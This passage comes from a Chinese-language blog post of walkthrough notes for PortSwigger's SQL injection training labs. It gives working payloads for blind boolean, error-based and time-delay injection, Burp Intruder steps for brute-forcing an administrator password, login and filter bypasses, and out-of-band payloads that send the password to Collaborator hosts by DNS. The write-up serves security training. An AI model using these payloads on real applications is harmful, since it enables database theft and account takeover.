a在 cookie 值中 的最后一个字符周围放置负载位置标记。为此,只需选择a,然后单击“添加 §”按钮。然后,您应该看到以下 cookie 值(注意负载位置标记):TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

PortSwigger之SQL注入实验室笔记
image-20210801225421216

16.要在每个位置测试字符,您需要在您定义的负载位置发送合适的负载。转到 Payloads 选项卡,payload1位置使用数字1-21,step为1,最小长度1,最大长度2;payload2位置选择“brute forcer”,然后把最小最大长度设置为1。您可以使用“从列表添加”下拉菜单轻松选择这些.

PortSwigger之SQL注入实验室笔记
image-20210801230236364
PortSwigger之SQL注入实验室笔记
image-20210801225704001

17.通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来发起攻击。

18.查看攻击结果,找出第一个位置的字符值。发生错误时,应用程序返回 HTTP 500 状态代码,正常情况下返回 HTTP 200 状态代码。Intruder 结果中的“Status”列显示了 HTTP 状态代码,因此您可以轻松找到该列中带有 500 的行。

PortSwigger之SQL注入实验室笔记
image-20210801234926927

密码r0eao1nxo838s0hpw0q0

22.在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

PortSwigger之SQL注入实验室笔记
image-20210801235120268

根据实验描述可以知道该实验和上一个的差别在于判断条件从正确响应welcome back变成正确无不同响应,错误会看到错误

1 确认参数易受盲注SQL注入的影响

在测试基于盲注的SQL注入时要做的第一件事是找到一个真实用例,强制一个正确用例看应用程序如何响应,然后强制一个虚假用例并查看应用程序如何响应。如果应用程序根据真实用例和虚假用例做出不同响应,那么我们就可以使用基于盲注的SQL注入来推断数据库中的内容。所以我们要做的第一件事是确认参数易受盲注SQL注入的影响,在实验中的参数变量是TrackingId

设想我们的查询方式如下:

select tracking-id from tracking-table where TrackingId = 'JoLC8BabJWZtfvY0'

判断条件如下:

-->如果查询的TrackingId 值存在,则查询结果不会有什么特殊结果

-->但是如果查询的TrackingId 值不存在,则查询结果同样不会有什么特殊结果

-->但是如果我们输入的sql语句有错误,会响应500 Internal Server Error

PortSwigger之SQL注入实验室笔记
image-20210801113630688

在执行错误的时候不会显示

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and SELECT IF(1,(select 'x' from users LIMIT 1)='x','a')='a'--'

多一个单引号引发错误

PortSwigger之SQL注入实验室笔记
image-20210801113830531

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='1'

-->where子句的结果将会永远评估为真,将导致显示welcome back

' and '1'='1返回welcome back,说明SQL语句拼接成功执行

PortSwigger之SQL注入实验室笔记
image-20210801152128666

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='2'

-->where子句的结果将会永远评估为假,导致整个查询返回为假,将导致不会显示welcome back

' and '1'='2不会返回welcome back,说明SQL语句拼接成功执行

PortSwigger之SQL注入实验室笔记
image-20210801152205866

2 确认用户表users存在

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (select 'x' from users LIMIT 1)='x'--'

-->如果为真,返回welcome back,说明users表存在

--》否则,users表不存在

' and (select 'x' from users LIMIT 1)='x'--,返回了welcome back,说明users表存在

PortSwigger之SQL注入实验室笔记
image-20210801152912341

3 确定用户名administrator字段值存在

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator')='a'--'

-->如果为真,返回welcome back,说明administrator的用户名存在

--》否则,administrator的用户名不存在

' and (SELECT 'a' FROM users WHERE username='administrator')='a'--,返回了welcome back,说明存在名为administrator的用户名存在

PortSwigger之SQL注入实验室笔记
image-20210801153549743

4 确定administrator用户的密码中有多少个字符(长度)

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--'

-->如果为真,返回welcome back,确认密码长度大于 1 个字符。

--》否则,确认密码长度0个字符

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--,返回了welcome back,确认密码长度大于 1 个字符

PortSwigger之SQL注入实验室笔记
image-20210801154024172

发送一系列后续值来测试不同的密码长度。

发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>10)='a'--,返回了welcome back,确认密码长度大于 1 0个字符。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--,没有返回welcome back,确认密码长度在 1 0-20个字符之间。

PortSwigger之SQL注入实验室笔记
image-20210801154300848

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>15)='a'--,返回welcome back,确认密码长度在 15-20个字符之间。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>18)='a'--,返回welcome back,确认密码长度在 19-20个字符之间。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a'--,返回welcome back,确认密码长度20个字符。

可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长,如果长度很长,可以使用Intruder功能进行遍历。

5 测试每个位置的字符以确定其值。


SUBSTRING(password,m,n)函数解释

password是字段名,m是检索的起始位,最左边从1开始,n是数量。

如果password='sjhfgjhsdf',那么SUBSTRING(password,1,1)就是's',SUBSTRING(password,2,1)就是'j'


这涉及大量请求,因此需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。

单个字符检测思路如下

测试密码第一位是否是字符a

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--'

-->如果为真,返回welcome back,确认密码长度大于 1 个字符。

--》否则,确认密码长度0个字符

' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--,没有返回welcome back,确认密码第一个字符不是a

在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。

PortSwigger之SQL注入实验室笔记
image-20210801155127701

对a值添加标记

PortSwigger之SQL注入实验室笔记
image-20210801155237390

假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 和A-Z范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.

PortSwigger之SQL注入实验室笔记
image-20210801155735950

点击开始攻击

PortSwigger之SQL注入实验室笔记
image-20210801155904456

为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。

PortSwigger之SQL注入实验室笔记
image-20210801160001853

得到第一个字符是1

PortSwigger之SQL注入实验室笔记
image-20210801160038969

6 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。

为此,返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:'+and+(SELECT+SUBSTRING(password,2,1)+FROM+users+WHERE+username%3d'administrator')%3d'a'--

得到第二位字符是m

PortSwigger之SQL注入实验室笔记
image-20210801160535637

7 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码

OR super 7 使用burpsuite的Cluster bomb爆破

将决定取字符位置的数据添加变量

PortSwigger之SQL注入实验室笔记
image-20210801161117845

攻击类型选择Cluster bomb

PortSwigger之SQL注入实验室笔记
image-20210801161151950

选择payloads,payload1设置为1-20

PortSwigger之SQL注入实验室笔记
image-20210801161233802

payload2设置为0-9和a-z和A-Z

PortSwigger之SQL注入实验室笔记
image-20210801161321982

然后options中添加Grep-Match

PortSwigger之SQL注入实验室笔记
image-20210801161401912

开始攻击

PortSwigger之SQL注入实验室笔记
image-20210801161459163

将结果整理得到密码

1mwa6880vdcepua8566j

8 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

PortSwigger之SQL注入实验室笔记
image-20210801161653485

11 具有时间延迟的盲 SQL 注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。

解决实验室,利用SQL注入漏洞造成10秒延迟。

解决方案

  1. 访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。
  2. 修改TrackingIdcookie,将其更改为:TrackingId=x'||pg_sleep(10)--
  3. 提交请求并观察应用程序需要 10 秒的响应时间。
PortSwigger之SQL注入实验室笔记
image-20210827144143863

forward一下就OK了

12 具有时间延迟和信息检索的盲 SQL 注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行或导致错误而做出任何不同的响应。但是,由于查询是同步执行的,因此可以触发条件时间延迟来推断信息。

数据库包含一个名为 的不同表users,其列名为usernamepassword。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

解决方案

访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。

修改TrackingIdcookie,将其更改为:x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--。验证应用程序需要 10 秒的响应时间。

PortSwigger之SQL注入实验室笔记
image-20210903160809574

现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--。验证应用程序是否立即响应,没有时间延迟。这演示了如何测试单个布尔条件并推断结果。

1=1为真,延时10s

PortSwigger之SQL注入实验室笔记
image-20210904003940886

1=2为假,不延时

PortSwigger之SQL注入实验室笔记
image-20210904004023082

现在将其更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。验证条件是否为真,确认存在名为 的用户administrator

PortSwigger之SQL注入实验室笔记
image-20210904004201164

下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。此条件为真,说明密码长度大于 1 个字符。

PortSwigger之SQL注入实验室笔记
image-20210904004634653

发送一系列后续值来测试不同的密码长度。发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。然后发送:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即应用程序立即响应而没有时间延迟),您就确定了密码的长度,实际上是 20 个字符长。

PortSwigger之SQL注入实验室笔记
image-20210904004832365

确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。

在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear”按钮清除默认的有效载荷位置。

在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--。这使用该SUBSTRING()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。sleep时间修改为5s,10太久了,等不起

PortSwigger之SQL注入实验室笔记
image-20210904010308843

第一个变量范围1-20

PortSwigger之SQL注入实验室笔记
image-20210904005811705

第二个变量范围0-9和a-z和A-Z

PortSwigger之SQL注入实验室笔记
image-20210904010005102

设置线程为1,大于1时,延时注入会出问题

PortSwigger之SQL注入实验室笔记
image-20210904010043122

开始攻击

勾选Columns的Response received,可以看到响应时间

PortSwigger之SQL注入实验室笔记
image-20210904010339493
PortSwigger之SQL注入实验室笔记
image-20210904010444168

剩下的交给时间~一共要跑8分钟左右,等待吧

按响应时间排序,选中大于5秒的高亮

PortSwigger之SQL注入实验室笔记
image-20210904014754024

仅显示高亮内容

PortSwigger之SQL注入实验室笔记
image-20210904014820446
PortSwigger之SQL注入实验室笔记
image-20210904014436970

得到密码

klwpbqfvbp89fpro4mcm

在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

PortSwigger之SQL注入实验室笔记
image-20210904014621142

13 带外交互的 SQL 盲注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用cookie的TrackingId 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。

为解决实验室问题,利用SQL 注入漏洞对 Burp Collaborator 进行 DNS 查找。

解决方案

TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://oogz2awwfyduijad55begf63xu3kr9.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

域名使用bp获得

PortSwigger之SQL注入实验室笔记
image-20210827163737683

点击copy获取url

PortSwigger之SQL注入实验室笔记
image-20210827163756483
020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net

替换到payload

TrackingId=glE0TyDtJb7YmBv1' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://020cf8215l92d7bwhispy1nh288ywn.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

url编码后send

PortSwigger之SQL注入实验室笔记
image-20210827163927811

点击poll now刷新信息

PortSwigger之SQL注入实验室笔记
image-20210827163953091
PortSwigger之SQL注入实验室笔记
image-20210827164015770

确认触发带外交互的方法后,您可以使用带外通道从易受攻击的应用程序中窃取数据。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'[email protected]+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

此输入读取Administrator用户的密码,附加唯一的 Collaborator 子域,并触发 DNS 查找。这将导致如下所示的 DNS 查找,允许您查看捕获的密码:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

带外 (OAST) 技术是一种非常强大的检测和利用 SQL 盲注入的方法,因为成功的可能性很高,并且能够直接在带外通道内泄露数据。出于这个原因,即使在其他盲开发技术确实有效的情况下,OAST 技术通常也是可取的。

14 带外数据泄露的 SQL 盲注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用 cookie TrackingId进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询是异步执行的,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。

数据库包含一个名为 的不同表users,其列名为usernamepassword。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

解决方案

带外数据泄露的 SQL 盲注入语句
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

查询oracle版本payload
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT version FROM v$instance)||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--


查询密码的payload

'
 UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.mtjcevsoi237zk9akrffu9zuyl4bs0.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual--

oracle版本

PortSwigger之SQL注入实验室笔记
image-20210827165654961

获取密码

PortSwigger之SQL注入实验室笔记
image-20210827165329503

得到密码administrator/miasvdbzu5zx47y9rdnh

PortSwigger之SQL注入实验室笔记
image-20210827165351856

登录

PortSwigger之SQL注入实验室笔记
image-20210827165444744

15 WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。当用户选择一个类别时,应用程序会执行如下 SQL 查询:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

为了解决实验室问题,执行 SQL 注入攻击,使应用程序显示任何类别中所有产品的详细信息,包括已发布的和未发布的。

解决方案

进入实验室

1.使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。

2.修改category参数,赋予其值'+OR+1=1--'+OR+'1'--

PortSwigger之SQL注入实验室笔记
image-20210731161805914

3.提交请求,并验证响应现在包含其他项目。

PortSwigger之SQL注入实验室笔记
image-20210731161818521

16 SQL注入漏洞允许登录绕过

描述

本实验包含登录功能中的SQL 注入漏洞。

为了解决实验,执行 SQL 注入攻击,以administrator用户身份登录到应用程序。

解决方案

  1. 使用 Burp Suite 拦截和修改登录请求。
  2. 修改username参数,赋予其值:administrator'--administrator' OR 1=1--,注意,这里的空格不能由+代替
PortSwigger之SQL注入实验室笔记
image-20210731162549251

17 SQL备忘录xmind

这是我从sql备忘录中抄下来的xmind文档可用于查阅 链接:https://pan.baidu.com/s/1Y0wiiXVl75Q0-nDV2fT5QA 提取码:miss


相关推荐: 关于成立城市轨道交通信息安全专项工作n总体协调组和专家组的通知

城市轨道交通信息安全专项工作各有关单位:根据中国城市轨道交通协会工作安排,信息化专委会牵头开展城市轨道交通信息安全专项工作,围绕信息安全基础技术研究、标准体系建设、产品检测和认证、建立常态化安全服务机制、网络与信息安全培训五大方面开展,以提升行业整体信息安全防…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: